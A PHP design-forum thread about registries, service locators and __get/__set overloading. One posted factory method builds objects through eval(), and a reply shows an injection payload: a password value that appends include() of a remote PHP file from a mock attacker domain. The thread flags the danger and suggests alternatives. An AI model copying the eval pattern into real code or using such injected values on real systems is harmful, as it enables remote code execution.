Something better than registry

Not for 'how-to' coding questions but PHP theory instead, this forum is here for those of us who wish to learn about design aspects of programming with PHP.

Moderator: General Moderators

Post Reply
User avatar
Luke
The Ninja Space Mod
Posts: 6424
Joined: Fri Aug 05, 2005 1:53 pm
Location: Paradise, CA

Something better than registry

Post by Luke »

What can I do to avoid registering all of these?

Code: Select all

$registry = new Registry;

$html = new html;
$registry->register('html', $html);

$Error = new Error;
$registry->register('Error', $Error); 

$Response = new Response;
$registry->register('Response', $Response); 

$MysqlConnect = new MysqlConnect($mysql['default']['host'], $mysql['default']['user'], $mysql['default']['pass'], $mysql['default']['prefix'], $registry);
$MysqlConnect->select_db($mysql['default']['database']);
$registry->register('MysqlConnect', $MysqlConnect); 

$Header = new Layout($registry);
$Header->set($CONFIG['header']);

$Content = $html->link('Link', 'somewhere');

$Footer = new Layout($registry);
$Footer->set($CONFIG['footer']);

$appModel = new appModel($registry);
$registry->register('appModel', $appModel);
User avatar
Chris Corbyn
Breakbeat Nuttzer
Posts: 13098
Joined: Wed Mar 24, 2004 7:57 am
Location: Melbourne, Australia

Post by Chris Corbyn »

A service locator which registers them on first load?
Ward
Forum Commoner
Posts: 74
Joined: Thu Jul 13, 2006 10:01 am

Post by Ward »

I've been using dynamic classes lately, it might be handy for what you need. You still have to manually register your objects, but this method will save you some code. This all works because of the magic __get() and __set() functions. I'm not sure what PHP version these were added in, someone here probably knows that.

This is how i'm planning to build the core of my next framework. It would be quite easy to add viewstates this way, since you could simply serialize the entire $registry->objects array and store it somewhere.

Code: Select all

<?
class registry
{
	// this array will hold our initialized objects
	private $objects = array();
	
	// syntax: $registry->create("className","'arg1','arg2'","uniqueInstanceId");
	public function create($className,$args="", $instanceID)
	{
		if (class_exists($className))
		{
			// className is defined, init new copy
			$initString = "$"."object = new $className($args);";
			eval($initString);
			$this->$instanceID = $object;
			return $object;
		}
		else
		{
			// className not defined, throw error
			die("Class '$className' could not be loaded.");
		}
	}

	// this function is invoked when getting a non-existant property
	function __get($key)
	{
		return (isset($this->objects[$key])) ? $this->objects[$key] : false;
	}

	// this function is invoked when setting a non-existant property
	function __set($key, $value)
	{
		$this->objects[$key] = $value;
	}
}

// sample class, used for demonstration
class sample
{
	public function __construct()
	{
		//print "You passed '".$argument1."' and '".$argument2."'";
	}

	public $firstName;
	public $lastName;
}

// create new registry object
$registry = new registry();

// create and register new 'sample' object, with no arguments, call it 'mySampleClass'
$registry->create("sample","","mySampleClass");

// setting properties of 'mySampleClass'
$registry->mySampleClass->firstName = "Billy";
$registry->mySampleClass->lastName = "Bob";

// getting properties of 'mySampleClass'
print $registry->mySampleClass->firstName;
print $registry->mySampleClass->lastName;

?>
User avatar
Jenk
DevNet Master
Posts: 3587
Joined: Mon Sep 19, 2005 6:24 am
Location: London

Post by Jenk »

Code: Select all

$initString = "$"."object = new $className($args);";
                        eval($initString);
                        $this->$instanceID = $object;
                        return $object;
can be:

Code: Select all

$object = new $className ($args);
                        $this->$instanceID = $object;
                        return $object;
:)
Ward
Forum Commoner
Posts: 74
Joined: Thu Jul 13, 2006 10:01 am

Post by Ward »

I originally thought the exact same thing, but what happens when you need to pass multiple arguments? If you pass it "arg1, arg2", it will actually send one argument with the value of "arg1, arg2". Using eval, you can have unlimited arguments.

I usually don't create classes that need arguments though. I prefer to set properties, and then call a load() function.
User avatar
Chris Corbyn
Breakbeat Nuttzer
Posts: 13098
Joined: Wed Mar 24, 2004 7:57 am
Location: Melbourne, Australia

Post by Chris Corbyn »

SimpleTest MockObject generator eval's code like that too I think.
User avatar
Jenk
DevNet Master
Posts: 3587
Joined: Mon Sep 19, 2005 6:24 am
Location: London

Post by Jenk »

Maybe it's just my weariness of eval() coming into play...

I can see one scenario which has come to light that could cause problems, basically because I have only recently created a user class which takes username and password (from $_POST or some such) in __construct(), that it would have a security hole in.

Code: Select all

public function __construct ($userName, $password) { /* blah */ }
What happens if the user entered user/pass:

Code: Select all

Username: John Doe
Password: pass'); include ('http://www.hackyomomma.com/a.php
I can see the final eval() string becoming:

Code: Select all

$object = new UserClass('user', 'pass'); include('http://www.hackyomomma.com/a.php');
Which is not good. Now, a 'solution' would be to filter/validate before eval() but then, the filtering/validation is done within class?

Perhaps a better solution, avoiding eval, can be used? (trying to get one to work atm, shall post if successful.)

Now, you might just say "Well don't do it that way.." but if this service locator is part of your framework.. can you guarantee you'll never forget?

:)
User avatar
Chris Corbyn
Breakbeat Nuttzer
Posts: 13098
Joined: Wed Mar 24, 2004 7:57 am
Location: Melbourne, Australia

Post by Chris Corbyn »

Granted, eval() has *potential* security holes but it's only going to be as insecure as the developer wants to make it.

The code posted described as a "dynamic class" is actually just a simple registry with a factory method. That factory method seems to do it's job quite well but yes... I would never pass anything to eval that may be coming from any of the superglobals.
Ward
Forum Commoner
Posts: 74
Joined: Thu Jul 13, 2006 10:01 am

Post by Ward »

Well, I called my code a dynamic class because of the __get and __set overloading methods. These allow you to set properties on-the-fly at runtime. That way, your objects can be called with $registry->objectName, instead of $registry->objects["objectName"].
User avatar
Chris Corbyn
Breakbeat Nuttzer
Posts: 13098
Joined: Wed Mar 24, 2004 7:57 am
Location: Melbourne, Australia

Post by Chris Corbyn »

Ward wrote:Well, I called my code a dynamic class because of the __get and __set overloading methods. These allow you to set properties on-the-fly at runtime. That way, your objects can be called with $registry->objectName, instead of $registry->objects["objectName"].
Quite right :) A good thing with having your registry set up using __get() is that you can easily extend it using other classes and they can make calls to things like $this->db, which transparently uses the registry to provide the objects whilst the child class is completly unaware (nor does it care) of where the object actually comes from. It's an "Inherited Registry" for anyone wanting to google the term :)
User avatar
John Cartwright
Site Admin
Posts: 11470
Joined: Tue Dec 23, 2003 2:10 am
Location: Toronto
Contact:

Post by John Cartwright »

Ward wrote:I originally thought the exact same thing, but what happens when you need to pass multiple arguments? If you pass it "arg1, arg2", it will actually send one argument with the value of "arg1, arg2". Using eval, you can have unlimited arguments.

I usually don't create classes that need arguments though. I prefer to set properties, and then call a load() function.
call_user_func() :wink:
User avatar
jayshields
DevNet Resident
Posts: 1912
Joined: Mon Aug 22, 2005 12:11 pm
Location: Leeds/Manchester, England

Post by jayshields »

May I just say lmao at Ward's signature, never knew that one, but I know a few other good easter eggs in Windows.

Try to name a file or folder 'con'.
Post Reply